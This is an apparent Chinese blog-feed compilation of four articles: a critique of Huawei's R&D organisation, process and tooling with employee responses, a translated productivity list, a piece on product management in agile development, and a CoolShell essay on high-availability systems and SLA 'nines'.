我司负责产品开发的部门有PDT、PDU等，相应的拥有PDT经理、PDU经理、架设部经理和SE、Project Manager、PO经理、RDPDT经理、Line Manager、Project Leader等多个角色。这种组织结构清晰地定义了每个Leader的角色，确保一个大的产品开发周期和质量有保证，同时保证开发的人力得到最合理的应用。

但它带来的问题也显而易见，就是各个角色在产品开发过程中有不同的想法和意见，可能出现多头指挥，让开发人员无所适从，沟通的成本也非常大。同时，这种复杂的管理结构对需要快速迭代的IT软件开发也会带来很大制约。大家看看微信的起家史，应该能感觉到，对于一些相对独立的、需要快速迭代的IT软件产品，往往在一个比较强的（产品）经理带领下的一个扁平化的团队效率会高很多。

4、沟通成本高

由于组织复杂，中间层较多，各种各样的任务从上面下来，落实的方法就是各种各样的会议，所以现在很多研发员工的不少时间都被各种各样的规划、研讨、问题回溯、客户支持等会议占用。员工笑称：白天是用来开会的，晚上加班才有时间编程序。针对于不同的组织和项目，能尽快找出相应的沟通节点并能有效地减少这些沟通节点，是一个项目和部门领导需要经常思考的问题。

二、流程

1、IPD流程不太适合需要快速迭代的软件

公司引入的IPD产品开发交付流程给公司带来了巨大的收益。但时代在发展，技术在演进，IPD流程更适合偏硬件的产品开发，为了保障产品质量，开发交付的周期较为漫长。从基层员工的角度，IPD流程节点的很多环节，如为完成CLINT减少Warning的数字、DTS值减少等僵化的指标，实际上反而可能会加大产品的风险，降低产品质量。

2、安全红线耗费资源巨大

安全红线的目的是防止产品出现安全漏洞，初衷是好的，但执行起来相对比较僵化，效率也低。试想一个互联网产品为了过安全红线一个版本等一两个月，根本无法生存。

建议参照一些先进公司的方法，把安全意识教育和SDLC（安全开发生命周期）融入到员工日常开发习惯中，在开发的同时进行测试和督促整改，对于一些红线达标比较好的部门，可以适当放松以加快交付，检查出问题，相应的问责机制要严格。把安全意识充分融入到开发者的血液中，让安全红线检查“形同虚设”。

三、环境

1、没有时间抬头看路

开发员工长期在上述流程、组织问题和客户支持的压力下加班加点，几乎没有时间“抬头看路”，只会用一些比较老旧的技术，也不太会站在巨人的肩膀上前进，走了不少弯路，消耗了更多的资源。

互联网时代，MOOC提供了大量实时、实用、先进的网上课程（包括免费的和收费的），如Coursera、Udemy、Pluralsight、Stanford Online、edX、YouTube相应的Channel等，想要学的课程几乎什么都有。

现在的计算机技术日新月异，新的思想、方法、工具等层出不穷，例如Java语言是2000年左右在企业软件领域崛起的，几乎成为很多平台、服务端软件的必选，但随着大规模分布式架构、云计算的兴起，它的短板，如内存管理/GC不可控性、多线程或是异步对IO的控制效率，过度依赖较为重载的OOP等问题，如果使用不当很容易造成灾难性问题。

Google内部渐渐把它们有些后台软件都迁移到了他们自己发明的更为先进的Go语言环境下。Dropbox更是两年前开始使用了比Go还先进的Rust语言，无缝迁移了90%以上的云存储平台。试问，我司有几个人用过甚至是听说过这些语言？我们的研发员工如果不去不断地提升，怎么可能赶上时代的步伐？怎么能开发出质量好的产品？

2、技术任职资格效果不佳，传帮带困难

理论上，技术任职资格是用来给搞技术的人提供晋升通道的。但实际应用上，虽然有破格提拔机制，总体上还是按资排辈，评委也大多是由有较高级别技术任职资格，但对现在技术并不太了解的管理者担当。

同时，任职从申请、技能鉴定考试到做答辩胶片、答辩，消耗了员工不少时间和精力。硅谷的公司一般在这方面比较灵活，技术通道由360 Review和与其工作密切相关的主管直接评价、申请和授予，有些员工在28-33岁左右已经有了非常高的技术职级和地位。

因为技术晋升通道不顺畅，能力较强的员工渐渐离开了开发岗位，较多时间沉浸在文档、胶片和会议中，新来的年轻员工过几年又在走同一个循环。是否可以彻底打通技术升值通道，鼓励有能力的人带新人，同时完善奖励机制，在及时激励和长期激励上下功夫，让研发人员看到技术发展空间，乐于编码，留住人才。
四、工具

1、研发办公环境

在硅谷先进的软件公司里，MacBook Pro/Air是标准配置，方便携带，随时随地编程。很多软件及移动开发调试都在家里、公司、食堂随时可以进行，包括编程、编译、Review和提交；数据库、各种Library、工具和Docker等都可以在本地的OSX/Linux环境下运行。需要的话，也随时可以跟公司内部服务器通过命令行互联，进行文件、代码的传输和测试。

笔者在硅谷工作时认识一个美国小伙子，他基本都是深夜在家里写代码，白天几乎看不到人，但效率和质量都很高。而我们的大部分研发人员，都被局限在公司内部拥挤嘈杂的敏捷岛，用着桌面云进行着低效开发。

2、代码库管理、Review、Checkin和Bug Tracking工具

基于Web/Git的Review和Checkin的相应工具差距非常大。通过源程序的Review审批和Checkin的机制，可以很快传递能力和互相学习，提升代码质量。同时，在任何一个时间点，任何一个高级工程师或是领导都可以通过这些工具来了解员工真正在代码上的贡献和价值，审查进度和版本分支，进度和质量也好把握。以笔者的经验，这是最好的传递技能的工具之一，往往有一个能人，很快就能把一批年轻人的能力带起来。

我司一般用的是内部开发的DTS bug tracking的工具，比较死板，总体和上述提到的最新的Git源程序管理工具、Review工具、自动化和Nightly Build、敏捷管理工具无法无缝地连接在一起。

3、知识资源的获取

由于公司内网Proxy权限问题和受限于大家英语水平的原因，大部分员工还是习惯于使用百度进行程序、库、方法和问题的搜索。但由于共享性差，同时技术水平与美国相差比较大，所有能在百度上找到的好的资源非常有限，质量也较差。美国软件开发人员已经把诸如StackOverflow、GitHub和Google作为学习和资源分享不可分割的一部分。

一石激起千层浪，上述文章，直接引起了大量华为内部争论，摘录如下：

很多研发的同学都抱怨过，聪明的人都去做管理了。根源还是研发团队的作战方式。一个项目需要那么多人，必然需要有管理，就有所谓的管理者，管的人越多，管理者做技术的时间越少。要转变开发的模式，班长的战争。如果都是一个个的小团队，就不需要那么多的所谓的技术管理者了。

这些问题其实5，6年前我们内部早已经发现，如今从一个外界来的专家身上也提出了。因为以前我们的人员、组织快速膨胀，其中最难的问题：骨干员工都提拔去当官、当专家、专家不碰代码的情况确实存在。随着这两年我们的人员、组织逐渐稳定、任职上的牵引，让骨干员工深耕一线开发岗位，核心骨干负责架构代码、核心模块代码、产品的设计正在成为现实，只要坚持下去，研发扁平化组织我们也会实现。

这是由华为公司两大基因决定的！

基因一: 基于不信任的管理

假定了一个团队或者一个员工个体，没有办法自动地按要求完成任务，一定要有外力的干预和指导，才能保证航行在正确的轨道上。不信任的假定，造成了领导很焦虑，员工被干扰。

基因二：组织复杂，各自为政

华为缺少扁平化管理，层级多，通道多。这样复杂的组织机构，造成了信息沟通对齐非常困难，每个组织机构又有自己的考评，都要考虑自己的团队建设和发展，价值呈现。人都有趋利的本性，必然会希望更多坚持对自己发展和价值有利的，而放弃那种不太出彩又要大体力投入的。

其实话说回来，说难听点，这叫多头管理多通道管理，说好听一点，这不就是管理上的民主吗？这两个基因，在华为这种大公司，不太可能改变掉，局部试点是有可能的，比如搞搞精英团队，或者在某些项目上试点扁平化，都是有可能的，至于全面改变，不现实。而且真的改成那个样子，还指不定出什么更大篓子。

在公司做研发8年多了,以前也心态稳定,相信板凳要坐十年冷,以学徒的态度和品质去面对自己承担的工作任务,对业务转换和工作安排基本上没有抱怨和怀疑。可是这两三年来,我越来越不自信了。看见版本经理满口脏话地安排工作的时候,我在想研发人员的地位和自尊哪里去了?研发汪的待遇就是这样吗?如果一个研发人员连尊严和荣誉感都不能感知的话,那点钞票能代表一切吗?能够做出代表着工匠精神的产品吗?

之前我觉得公司是硬件+技术型公司的代表，是挺立于新世纪技术浪潮的旗舰，但现在我觉得公司和这个目标渐行渐远。

写的很真实到位，尤其是LM/PL不编码、SE不会编码等现象还是比较普遍的。组织分散、会议多、协调多也是顽疾。这两年研发显率提升在工程、方法上进步较多。在怎么让编码人员能够长期在编码岗位上发展，是要好好研究解决。

导致研发质量不高的原因还有一条：过量的外包开发人员，通常是一个PL带着100人的团队，95个都是外包的。完成任务和用心做事儿的差别还是很大的，PL也根本管不过来，代码质量自然不高。

技术专家在华为非常没地位，绩效/股票/分红/任职等方面都什么话语权，一直干技术会非常担心失业，因为很多领导认为，一个技术老专家干的活，找个新手让技术老专家带一段时间就可以代替老专家了，技术老专家成本高，常常会成为降成本很不错的选择，华为这种氛围，真是让想专心搞技术的兄弟心寒。

说一个几天前来我司某基地出差来的见闻：邻桌某PL在和别人espace语音，话间大意：我们组那个A童鞋，能力可以说是最强的，但他有个很严重的问题，他不会展示自己，他做的很多高质量的工作，但是无法很好的向领导展示。所以他的这个上半年绩效不能给太高。。。坐在旁边“无意”听到谈话的我一脸懵逼，内心一紧，又是个悲催的汪啊。

我就没搞明白，华为对自己的定位到底是软件公司还是硬件公司？向互联网看齐，你客户跟互联网的是一样的？你的客户能让你低成本试错吗，你的客户可以让你远程推送补丁吗，你的客户允许你的产品产品闪退吗？现实是，一个bug，华为的芯片得重新流片；一个bug，华为的基站得退服，客户得跟政府解释；互联网追求快，华为追求稳。

作为一个以产品/项目交付为主的公司，解决方案架构师的作用是什么？主要是通过架构保持整个组织对于解决方案认知的一致，这是为什么很多架构师/SE花大量时间在架构图/PPT上的原因，这也是保证整个组织、很多项目不乱的一个很重要的因素(我没有说唯一因素，没有否定coder的作用，显然再好的架构也需要coder去实现），这跟做产品运营的互联网公司，就一个版本持续不断优化，业务上线速度优先是不一样的，比如：大家都知道淘宝的架构从一开始2000美金买的简单购物网站到现在的超大规模网站，10年之间架构推倒重来了5次，包括其中请sun的Java专家重写了一遍系统，这在华为是不可想象的，在华为首先要讲清楚WHY，工程商人，投入产出先讲清楚，至少要保障逻辑上成功，这就是为什么投入大量人力在前端，也是IPD的重要作用之一。

我认为还没有挖到根上，很深的一个根因，那就是PBC牵引太强，绩效结果应用太强，绩效结果简直决定员工的一切回报！！现在PBC牵引太强了，如果能力强的员工不去搞与代码无关的事情，就会没有很好的绩效。为啥？因为现在的绩效管理是“人与PBC比”、“人与人比”。。。PBC是死的，一般员工都会看好，但人是活的，你要超过别人，你必须搞点其他与代码无关的事情，结果一搞就搞多了。研发普遍有一种认识，搞定周边部门远比搞定代码要难度大。久而久之，写代码的绩效就差了，谁还愿意写。

我司产品对需求管理较弱，都是市场人员说了算，再加上各种原因导致软件产品本身就缺少架构和设计，为了交差就用最简单粗暴的叠加方法，什么设计啊，架构啊先放一边，搞上去再说。几年下来，几波人轮流修改，代码变得庞大和冗余，很多产品都是越到后期越烂。

公司很多的软件项目给项目组留的时间非常短，经常是3到6个月就要出产品。从另一个方面讲，就是前瞻性不够。产品不需要的时候根本就不布局。等产品要的时候，跟本不给时间做探索。这样做出来的产品质量可想而知。过去成功的产品，基本上都是提前布局（悄悄的布局），等产品要的时候基本路都走通了。这个时候说三到六个月就可以从容应对了。海思现在的做法也是一个技术样片加一个产品样片，中间相差半年到一年，这就非常合理。好的软件架构是需要时间去探索和磨合，不是一上来就百分之百能做好做对。而且将来还需要不断的重构。Google的主力产品每一年到一年半就要做一次大的重构。如果不重构，工程师自己都觉得他维护的产品会落后。

问题的根源在于我们越来越厚重的管理，现在的管理要求越来越多，管理手段越来越繁琐，绩效评价、薪资调整、奖金评定、配股、任职资格、人岗匹配、团队稳定、离职跳池等，是必须有一个强有力的管理者进行团队管理，从PL开始，要想管理好团队，必须抛弃技术走向管理，导致无精力专注技术。

（原文出自「心声社区」作者：泥瓦客）

为了效率你不应该做的7件事[译]

Sat, 07 May 2016 15:38:30 CST

当我17岁的时候，我曾经每天花20小时在工作和学习上。我在学校的课休时间做家庭作业并在晚上管理一个非盈利的组织。在那段日子里，努力工作让我有机会可以参与一些国际活动，到理想中公司去工作，并成就了成功的事业。当我慢慢变老，我开始有不同的想法，我意识到努力工作并不总是成功的唯一方法，有时工作越少，实际可能产生更好的效果。

成功的关键不是努力工作而是聪明的工作

忙与产出有着显著的区别。忙未必就说明有产出。 要想产出，更多的是要管理好你的精力而不是时间。要经营好你的生活。我们需要学会花费最小的精力得到最大的收益。我很幸运可以在一个优秀的团队Filemobile工作，每个人都在激励我并帮我进行优先级排序让我变得更有产出。我学到了把每周的工作时间从 80 小时缩短到了 40 小时， 并且完成了更多的工作。换句话说：少即是多。

这里的7件我停止做的事情让我变得更有产出

1、停止通过加班来增加产出

你有没有想过40小时的工作时间是从哪里来的？每周 5 天，每天 8 小时的工作制是福特在 1926年的发现。实验表明，把每天工作时间从 10 小时降至 8 小时，每周工作时间从 6 天降至 5 天后，生产力反而提升了。

来源：Calculating Loss of Productivity Due to Overtime Using Published Charts — Fact or Fiction

1980年由商业圆桌会议发布的《施工项目的加班效应》指出， 工作得越多，无论是短期还是长期上来看，你的工作效率和生产力都会下降。

当每周工作时间超过60 小时，并持续超过两个月，生产力下降的累积效应将使完工日期推迟，而人数相同但每周只工作40 小时的团队执行同样工作，甚至还会更早完工。

在AlterNet的一篇文章中，Sara Robinson回顾美军执行的一项研究，这项发现“ 每晚都减少1小时睡眠，持续一周，将导致认知功能退化，等同于喝酒使血液酒精浓度升高至0.10 ”。

当个人过于劳累，使其以比平常还要负面的角度看事情，导致普遍地心情低落。比心情更重要的是，其思维往往伴随着减少「主动思考与行动」──包括控制冲动、自我感觉良好、同情他人与情绪智力──的意愿。

来源: The Secret World of Sleep: The Surprising Science of the Mind at Rest

维持高程度的生产力，避免让自己过度工作并睡眠充足很重要。下次您思想为何工作缺乏生产力，原因很简单，您是 70%的人缺少足够的睡眠的一员。

你知道吗？

很多名人的经验是白天多小睡。达芬奇、拿破仑、爱迪生、罗斯福夫人、吉恩•奥特里、肯尼迪、洛克菲勒、丘吉尔、林顿•约翰逊、里根等都有小睡的习惯。

来源： 5 Reasons Why You Should Take a Nap Every Day — Michael Hyatt

从个人角度，自从我开始每天至少睡7-8小时，为注意到相比每天工作16小时，我更加有效率并且完成了更多的工作。对于营销人员来说睡眠真是一个伟大的工具。

2、不要老说“好的”

根据 20/80 原理（帕累托原理），20%的努力创造出 80%的结果；但反过来 20%的结果消耗了 80%的努力。因此我们应该把精力集中在能产出 80%结果的事情上，然后放弃其他的事情。如此就能把更多的时间集中在最重要的任务上。我们应该对低产出甚至无结果的任务停止说 “yes”。

成功人士和非常成功人士的区别在于后者几乎对所有事情说“不” –巴菲特

我们中的大多数往往都说了太多的“yes”，因为这比拒绝要容易得多。没人想当坏人。

2012 年的消费者杂志发表了一项研究，研究人员把 120 人分成了 2 组。一组人训练成说“我不能（I can’t）”，另一组则说“我不（I don’t）”。结果很有趣：

告诉自己“我不能吃 X”的学生在 61% 的时间内选择了吃巧克力糖，而告诉自己“我不吃 X”的只在 36% 的时间里抵挡不住诱惑。在说法上作这么简单的一个变化就能显著改善健康食品的选择。

所以，下次需要避免说 yes 的时候，直接说“我不”。

另一个避免不必要活动的技巧是 20 秒规则：对于不应该做的事情多给自己 20 秒的时间考虑。

降低在你想丢弃的习惯上的能量消耗，提升你想培养的习惯上的能力。我们能降低或消除的越多的能量浪费，越能提高我们积极拥抱变化的能力。

来源: The Happiness Advantage: The Seven Principles of Positive Psychology That Fuel Success and Performance at Work

3、停止什么都事必躬亲，让其他人帮忙

我曾经管理过一个非常大的社区，试图一个人做完所有事情，最后发现我干不了。我筋疲力尽，最后社区接管了自我管理的工作。令人惊奇的是大家做得比我还好。我因而领悟到了社区的力量。以及为什么品牌需要用户创建内容。

消费者知道他们想要什么，以及他们想要如何让它更好，更甚于任何营销人员。根据 Octoly的报告，一支使用者自制影片的观看次数要比品牌自制影片多上十倍。当寻找关于一个特定品牌的资讯，超过半数（51 %）的美国人相信使用者自制内容大过于品牌官网（16%）与媒体报导（14 %），对营销人员来说，寻求品牌社区的帮忙至关重要。

来源: Earned Media Rankings on YouTube — Octoly

成为一个伟大的内容创造者，并不是他要创造最好的内容，而是创造一个伟大的社区来帮能产生高质量的内容。

很多时候，哪怕朋友不能帮你，他们的陪伴也能让你更有生产力。

来源: Friendfluence: The Surprising Ways Friends Make Us Who We Are

4、停止完美主义

当一位完美主义者有以下问题：

他们在一项花费的时间比任务要求所花费的时间还多。
他们会拖延并等到最佳的时刻。在企业中，如果这是最完美的时刻，就代表已经太迟了。
他们过度聚焦在细节，反而忽略整体。

市场营销人员经常等待最好的时机，如果这样去做，最终会失去机会。

最好时刻就是现在。

5、停止作重复的事情，并使它自动化

来源: Using Automation Software To Increase Business Productivity & Competitiveness -Tethys Solutions

一周前，我花了15分只能写了一个简单的Python程序，用来代原先要花一整天从Twitter API获取数据并使用HootSuite进行批量调度处理的任务。现在只要我需要重复做一件事情 5 次以上，我都会问自己是否可以找个程序帮我做这个事情。

人们时常忘记时间就是金钱，因此经常土法炼钢地处理事情，因为这样比较容易，且不需要花费心力研究。假设您办了一个Instagram 活动，号召网友上传的照片总数只有30 张，您可以手动一张一张处理。但如果总共有从5个不同平台上传的30000张照片与影片时，您就需要一个好的数位管理系统了（例如 Filemobile）。

如果你不能找到解决方案，你可以雇佣一个专家来帮助你。在你的脑海中始终记得你需要花钱去赚钱，而时间是你最有价值的商品。

给营销人员的Tips: 到 GitHub经常可以找到可以经过简单修改就可以马上使用的开源程序。

6、停止猜测，并开始用数据支撑决策

如果你可以为搜索引擎进行网站优化，那么你也可以优化你的人生，让它成长并发挥最大的潜能。

举例来说，上周我们做了一些测试吗，找出了来优化预览Twitter图像的最好方式。

要不断问问自己，你打算如何去衡量和优化自己所做的一切事情？

7、停止工作，并拥有无所事事的时间

来源: The power of lonely

对我们来说，要花时间去思考是很重要的。我们经常发现在我们不是刻意寻找解决方案的时候解决方案会突然出现。

P.S. 感谢你花了这么长时间把它读完，本有由标点符翻译，如果你觉得他对你有用，建议你分享给更多的朋友。

原文链接： 7 Things You Need to Stop Doing to Be More Productive

敏捷流程中的产品管理

Wed, 27 Apr 2016 11:30:51 CST

对于敏捷开发，讲它的价值、方法的内容已经够多。而对于需求、设计、测试这三个环节，如何适配并融入敏捷开发的流程，却着墨寥寥。本文主要从产品设计及需求表达两个方面，介绍如何在敏捷开发的背景下，保证产品设计不挖坑，并为开发人员提供的高效支撑。文中所述适用于中小规模的团队，产品形态以web端非成熟期产品为最匹配。

1.远粗近细，规划先行

在整个敏捷流程开始之前，应该先检视如下几项：

（1）BRD & roadmap

此时产品团队已经确定了所有大方向，以及达到这些方向的路径。

（2）外部环境中的关键时间节点

此时应该对接下来两次迭代以内的外部环境（如行业周期、市场压力、节假日等运营引爆点）有较为明确的把握，确保版本方向不会受迫产生较大的变动。

（3）需求池

此时可能已经积累有来自各方的需求，以及产品规划中预计要新增的模块。而每次迭代，需求来源都出自这个表格中。

根据以上，首先通过关键时间节点来修正产品roadmap，细化roadmap中距离当前最近的一段时间，颗粒度最细须达到完成一次敏捷开发的所需要的时间。关于最终细化出来的产品路线，产品经理的脑中一定要有非常清晰的节奏，明确每一步的整体目标。完成后，应该明确下一步迭代的两个内容，一是新增哪个模块/栏目，二是优化哪些功能、页面。

对于新增的模块，我们要让它单独进入敏捷开发流程，必须保证它是相对独立的，不会受到另一个未开发模块的牵制。如果不是，那么这些模块应该在同一次迭代中，以最基本（基本到只剩关键流程）的形态同时上线。

2.先加后减，解构产品

确保新增模块的独立性后，就到了产品设计的环节了。对于产品设计经验不是非常丰富的PM来说，此时，一定确保设计环节的完整，需求分析、用户任务和流程设计、产品结构决不能被“敏捷”掉。直接动手做流程和原型，无论时间多紧都不应该，反而会因为挖坑，导致在以后浪费更多的时间去反复填坑。

我在做敏捷设计的时候，倾向于经由完整的设计流程，产出相对完整的产品设计，然后根据敏捷周期，来对产品进行精简。这样不会因为后期丰富该功能时，由于思考不全面和先前没有一个明确的理想解决方案，而推翻重做或者有较大改动；也保证了产品功能拆分后，各个子单元在不同版本迭代完全时的产品一致性。

我们需要对完整稿进行拆分和优先级排序，找出主要流程、关键信息，先保证主线跑通，再考虑提升用户体验的辅助性功能，以及提升用户停留时长或提高转化率的信息丰富手段。

由于这个完整稿，本身就是用来试错的，那么，我们在细化需求的时候，可以先细化主线需求到能够交付开发执行的程度，而对于可能有变动甚至整体舍弃的其他分支，暂时到特性层面就可以了。

基于完整稿，我们可以提出几种拆分方案，在需求评审时，与开发团队讨论确定最终的目标方案。对于该方案，我们需要在方案内的特性中，再次排出优先级。目的是，让开发先做高优先级特性，如果遇到不可预估的困难，可以马上决策并削减优先级低的特性，保证主流程的完成，尽量弱化工程延期的不利后果。

3.简短明了，文尽其用

关于产品设计后的需求表达，我一直以来的原则就是不参考模板，灵活使用。在敏捷开发中，我们通常不可能去写全面啰嗦的PRD，移动端更甚。我的做法是，使用excel做产品backlog，省去所有对开发无意义的描述说明文字，从feature list直接获得。审视自己写下的每一个列首项，是不是对开发有用，省去所有无用项。

如果团队中没有专职测试，甚至可以将测试功能融合进backlog中，仅需增加测试结果与状态两列，而只要需求想的透彻，特性说明完全可以做基本的功能测试用例。

同时，该表格也可以融入项目管理的功能。状态列中，单元格为下拉菜单，分别有待开发、待测试、完成三个状态。

backlog表头示例

适合每个团队的文档形式各不相同，有的开发喜欢原型结合文档进行开发，有的喜欢看原型做，文档备查，这些都需要PM提前沟通，了解PRD的用户需求，砍掉无效的工作，制作出适合自己团队的文档形式，并自己保证花在文档上的时间，都是有效的。

作者：尘中之光（简书作者）

原文链接：http://www.jianshu.com/p/0127f8f7b3e2

本文由 @尘中之光授权发布于人人都是产品经理，未经作者许可，禁止转载。

人人都是产品经理微信公众号：woshipm，随时随地，学产品、学运营，听讲座。

关于高可用的系统

Sun, 21 Aug 2016 12:34:53 CST

在《这多年来我一直在钻研的技术》这篇文章中，我讲述了一下，我这么多年来一直在关注的技术领域，其中我多次提到了工业级的软件，我还以为有很多人会问我怎么定义工业级？以及一个高可用性的软件系统应该要怎么干出来？这样我也可以顺理成章的写下这篇文章，但是没有人问，那么，我只好厚颜无耻的自己写下这篇文章了。哈哈。

另外，我在一些讨论高可用系统的地方看到大家只讨论各个公司的技术方案，其实，高可用的系统并不简单的是技术方案，一个高可用的系统其实还包括很多别的东西，所以，我觉得大家对高可用的系统了解的还不全面，为了让大家的认识更全面，所以，我写下这篇文章。

理解高可用系统

首先，我们需要理解什么是高可用，英文叫High Availability（ Wikipedia词条），基本上来说，就是要让我们的计算环境（包括软硬件）做到full-time的可用性。在设计上一般来说，需要做好如下的设计：

对软硬件的冗余，以消除单点故障。任何系统都会有一个或多个冗余系统做standby
对故障的检测和恢复。检测故障以及用备份的结点接管故障点。这也就是failover
需要很可靠的交汇点（CrossOver）。这是一些不容易冗余的结点，比如域名解析，负载均衡器等。

听起似乎很简单吧，然而不是，细节之处全是魔鬼，冗余结点最大的难题就是对于有状态的结点的数据复制和数据一致性的保证（无状态结点的冗余相对比较简单）。冗余数据所带来的一致性问题是魔鬼中的魔鬼：

如果系统的数据镜像到冗余结点是异步的，那么在failover的时候就会出现数据差异的情况。

如果系统在数据镜像到冗余结点是同步的，那么就会导致冗余结点越多性能越慢。

所以，很多高可用系统都是在做各种取舍，这需要比对着业务的特点来的，比如银行账号的余额是一个状态型的数据，那么，冗余时就必需做到强一致性，再比如说，订单记录属于追加性的数据，那么在failover的时候，就可以到备机上进行追加，这样就比较简单了（阿里目前所谓的异地双活其实根本做不到状态型数据的双活）。

下面，总结一下高可用的设计原理：

要做到数据不丢，就必需要持久化
要做到服务高可用，就必需要有备用（复本），无论是应用结点还是数据结点
要做到复制，就会有数据一致性的问题。
我们不可能做到100%的高可用，也就是说，我们能做到几个9个的SLA。

高可用系统的技术解决方案

我在《分布式系统的事务处理》中引用过下面这个图：这个图来自来自：Google App Engine的co-founder Ryan Barrett在2009年的Google I/O上的演讲《 Transaction Across DataCenter》（视频： http://www.youtube.com/watch?v=srOgpXECblk）

这个图基本上来说是目前高可用系统中能看得到的所有的解决方案的基础了。M/S、MM实现起来不难，但是会有很多问题，2PC的问题就是性能不行，而Paxos的问题就是太复杂，实现难度太大。

总结一下各个高可用方案的的问题：

对于最终一致性来说，在宕机的情况下，会出现数据没有完全同步完成，会出现数据差异性。
对于强一致性来说，要么使用性能比较慢的 XA系的两阶段提交的方案，要么使用性能比较好，但是实现比较复杂的Paxos协议。

注：这是软件方面的方案。当然，也可以使用造价比较高的硬件解决方案，不过本文不涉及硬件解决方案。

另外，现今开源软件中，很多缓存，消息中间件或数据库都有持久化和Replication的设计，从而也都有高可用解决方案，但是开源软件一般都没有比较高的SLA，所以，如果我们使用开源软件的话，需要注意这一点。

高可用技术方案的示例

下面，我们来看一下MySQL的高可用的方案的SLA（下图下面红色的标识表示了这个方案有几个9）：

图片来源： MySQL High Availability Solutions

简单解释一下MySQL的这几个方案（主要是想表达一个越多的9就越复杂）

MySQL Repleaction就是传统的异步数据同步或是半同步Semi-Sync（只要有一个slave收到更新就返回成功）这个方式本质上不到2个9。
MySQL Fabric简单来说就是数据分片下的M/S的读写分离模式。这个方案的的可用性可以达到99%
DRBD通过底层的磁盘同步技术来解决数据同步的问题，就是RAID 1——把两台以上的主机的硬盘镜像成一个。这个方案不到3个9
Solaris Clustering/Oracle VM ，这个机制监控了包括硬件、操作系统、网络和数据库。这个方案一般会伴随着节点间的“心跳机制”，而且还会动用到SAN（Storage Area Network）或是本地的分布式存储系统，还会动用虚拟化技术来做虚拟机的迁移以降低宕机时间的概率。这个解决方案完全就是一个“全栈式的解决方案”。这个方案接近4个9。
MySQL Cluster是官方的一个开源方案，其把MySQL的集群分成SQL Node 和Data Node，Data Node是一个自动化sharing和复制的集群NDB，为了更高的可用性，MySQL Cluster采用了“完全同步”的数据复制的机制来冗余数据结点。这个方案接近5个9。

那么，这些2个9，3个9，4个9，5个9是什么意思呢？又是怎么来的呢？请往下看。

高可用性的SLA的定义

上面那些都不是本文的重点，本文的重点现在开始，如何测量系统的高可用性。当然是SLA，全称 Service Level Agrement，也就是有几个9的高可用性。

工业界有两种方法来测量SLA，

一个是故障发生到恢复的时间
另一个是两次故障间的时间

但大多数都采用第一种方法，也就是故障发生到恢复的时间，也就是服务不可用的时间，如下表所示：

系统可用性%	宕机时间/年	宕机时间/月	宕机时间/周	宕机时间/天
90% (1个9)	36.5 天	72 小时	16.8 小时	2.4 小时
99% (2个9)	3.65 天	7.20 小时	1.68 小时	14.4 分
99.9% (3个9)	8.76 小时	43.8 分	10.1 分钟	1.44 分
99.99% (4个9)	52.56 分	4.38 分	1.01 分钟	8.66 秒
99.999% (5个9)	5.26 分	25.9 秒	6.05 秒	0.87 秒

比如，99.999%的可用性，一年只能有5分半钟的服务不可用。感觉很难做到吧。

就算是3个9的可用性，一个月的宕机时间也只有40多分钟，看看那些设计和编码不认真的团队，把所有的期望寄托在人肉处理故障的运维团队，一个故障就能处理1个多小时甚至2-3个小时，连个自动化的工具都没有，还好意思在官网上声明自己的SLA是3个9或是5个9，这不是欺骗大众吗？。

影响高可用的因素

老实说，我们很难计算我们设计的系统有多少的可用性，因为影响一个系统的因素实在是太多了，除了软件设计，还有硬件，还有每三方的服务（如电信联通的宽带SLA），当然包括“建筑施工队的挖掘机”。所以，正如SLA的定义， 这不仅仅只是一个技术指标，而是一种服务提供商和用户之间的contract或契约。 这种工业级的玩法，就像飞机一样，并不是把飞机造出来就好了，还有大量的无比专业的配套设施、工具、流程、管理和运营。

简而言之，SLA的几个9就是能持续提供可用服务的级别，不过，工业界中，会把服务不可用的因素分成两种：一种是有计划的，一种是无计划的。

无计划的宕机原因

下图来自Oracle的《 High Availability Concepts and Best Practices》

有计划的宕机原因

下图来自Oracle的《 High Availability Concepts and Best Practices》

我们可以看到，上面的宕机原因包括如下：

无计划的

系统级的故障 – 包括主机、操作系统、中间件、数据库、网络、电源以及外围设备
数据和中介的故障 – 包括人员误操作、硬盘故障、数据乱了
还有：自然灾害、人为破坏、以及供电问题。

有计划的

日常任务：备份，容量规划，用户和安全管理，后台批处理应用
运维相关：数据库维护、应用维护、中间件维护、操作系统维护、网络维护
升级相关：数据库、应用、中间件、操作系统、网络、包括硬件升级

真正决定高可用系统的本质原因

从上面这些会影响高可用的SLA的因素，你看到了什么？如果你还是只看到了技术方面或是软件设计的东西，那么你只看到了冰山一角。我们再仔细想一想， 那个5个9的SLA在一年内只能是5分钟的不可用时间，5分钟啊，如果按一年只出1次故障，你也得在五分钟内恢复故障，让我们想想，这意味着什么？

如果你没有一套科学的牛逼的软件工程的管理，没有牛逼先进的自动化的运维工具，没有技术能力很牛逼的工程师团队，怎么可能出现高可用的系统啊。

是的， 要干出高可用的系统，这TMD就是一套严谨科学的工程管理，其中包括但不限于了：

软件的设计、编码、测试、上线和软件配置管理的水平
工程师的人员技能水平
运维的管理和技术水平
数据中心的运营管理水平
依赖于第三方服务的管理水平

深层交的东西则是——对工程这门科学的尊重：

对待技术的态度
一个公司的工程文化
领导者对工程的尊重

所以，以后有人在你面前提高可用，你要看的不是他的技术设计，而还要看看他们的工程能力，看看他们公司是否真正的尊重工程这门科学。

其它

有好些非技术甚至技术人员和我说过，做个APP做个网站，不就是找几个码农过来写写代码嘛。等系统不可用的时候，他们才会明白，要找技术能力比较强的人，但是， 就算你和他们讲一万遍道理，他们也很难会明白写代码怎么就是一种工程了，而工程怎么就成了一门科学了。其实，很多做技术的人都不明白这个道理。

包括很多技术人员也永远不会理解，为什么要做好多像Code Review、自动化运维、自动化测试、持续集成之类这样很无聊的东西。就像我在《从Code Review 谈如何做技术》中提到的，阿里很多的工程师，架构师/专家，甚至资深架构师都没有这个意识，当然，这不怪他们，因为经历决定思维方式，他们的经历的是民用级的系统，做的都是堆功能的工作，的确不需要。

看完这些，最后让我们都扪心自问一下，你还敢说你的系统是高可用的了么？ ;-)

（全文完）

关注CoolShell微信公众账号可以在手机端搜索文章

（转载本站文章请注明作者和出处酷壳 – CoolShell.cn ，请勿用于任何商业用途）

——=== 访问酷壳404页面寻找遗失儿童。 ===——

2014年01月20日分布式系统的事务处理
2013年07月05日 IoC/DIP其实是一种管理思想
2011年10月25日多些时间能少写些代码
2011年06月10日软件真的好难做啊
2011年09月08日千万不要把 bool 设计成函数参数
2012年03月09日 Bret Victor – Inventing on Principle
2014年04月12日从Code Review 谈如何做技术
2012年01月16日由12306.cn谈谈网站性能技术

